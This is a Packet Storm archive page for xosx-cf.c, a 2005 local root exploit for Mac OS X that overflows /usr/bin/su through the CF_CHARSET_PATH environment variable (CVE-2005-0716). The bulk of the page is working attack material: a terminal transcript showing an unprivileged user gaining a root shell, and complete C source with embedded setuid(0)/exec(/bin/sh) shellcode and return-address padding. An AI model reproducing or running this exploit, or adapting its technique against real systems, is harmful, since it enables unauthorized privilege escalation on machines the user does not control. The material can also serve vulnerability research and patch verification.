exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

xosx-cf.c

xosx-cf.c
Posted Mar 24, 2005
Authored by vade79 | Site fakehalo.us

Local root exploit for /usr/bin/su on Mac OS X that makes use of the buffer overflow vulnerability discovered by iDefense using the CF_CHARSET_PATH environment variable.

tags | exploit, overflow, local, root
systems | apple, osx
advisories | CVE-2005-0716
SHA-256 | 3d4f65ef5c5787a4e22d1adaf440941026368d42080a9637123986b999b4dcbf

xosx-cf.c

Change Mirror Download


This is simply an exploit for the iDefense adv posted today/yesterday, exploits via /usr/bin/su.

original adv:
www.idefense.com/application/poi/display?id=219&type=vulnerabilities

original exploit:
http://fakehalo.us/xosx-cf.c


--- example usage ---

server:/tmp v9$ id
uid=502(v9) gid=502(v9) groups=502(v9)
server:/tmp v9$ gcc xosx-cf.c -o xosx-cf
server:/tmp v9$ ./xosx-cf
(*)MacOS X[CF_CHARSET_PATH]: local root exploit.
(*)by: v9@fakehalo.us, found by iDefense adv. (anon)

[*] setting up the environment.
[*] executing su... (press ENTER at the "Password: " prompt)

Password:
sh-2.05b# id
uid=0(root) gid=502(v9) groups=502(v9)


--- xosx-cf.c ---

/*[ MacOS X[CF_CHARSET_PATH]: local root exploit. ]*********
* *
* by: v9@fakehalo.us (fakehalo/realhalo) *
* *
* found by: iDefense (anon finder) *
* *
* saw the advisory on bugtraq and figured i'd slap this *
* together, so simple i had to. exploits via the *
* /usr/bin/su binary. you must press ENTER at the *
* "Password: " prompt. *
***********************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
static char exec[]= /* b-r00t's setuid(0)+exec(/bin/sh). */
"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x7d\x68\x02\xa6\x3b\xeb"
"\x01\x70\x39\x40\x01\x70\x39\x1f\xfe\xdf\x7c\x68\x19\xae"
"\x38\x0a\xfe\xa7\x44\xff\xff\x02\x60\x60\x60\x60\x7c\xa5"
"\x2a\x79\x38\x7f\xfe\xd8\x90\x61\xff\xf8\x90\xa1\xff\xfc"
"\x38\x81\xff\xf8\x38\x0a\xfe\xcb\x44\xff\xff\x02\x7c\xa3"
"\x2b\x78\x38\x0a\xfe\x91\x44\xff\xff\x02\x2f\x62\x69\x6e"
"\x2f\x73\x68\x58";
int main(void){
unsigned int i=0;
char *buf,*env[3];
printf("(*)MacOS X[CF_CHARSET_PATH]: local root exploit.\n");
printf("(*)by: v9@fakehalo.us, found by iDefense adv. (anon)\n\n");
if(!(buf=(char *)malloc(1100+1)))exit(1);
memcpy(buf,"CF_CHARSET_PATH=",16);
printf("[*] setting up the environment.\n");
for(i=16;i<1100;i+=4)*(long *)&buf[i]=(0xbffffffa-strlen(exec));
env[0]=buf;
env[1]=exec;
env[2]=NULL;
printf("[*] executing su... (press ENTER at the \"Password: \""
" prompt)\n\n");
if(execle("/usr/bin/su","su",0,env))
printf("[!] failed executing /usr/bin/su.\n");
exit(0);
}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close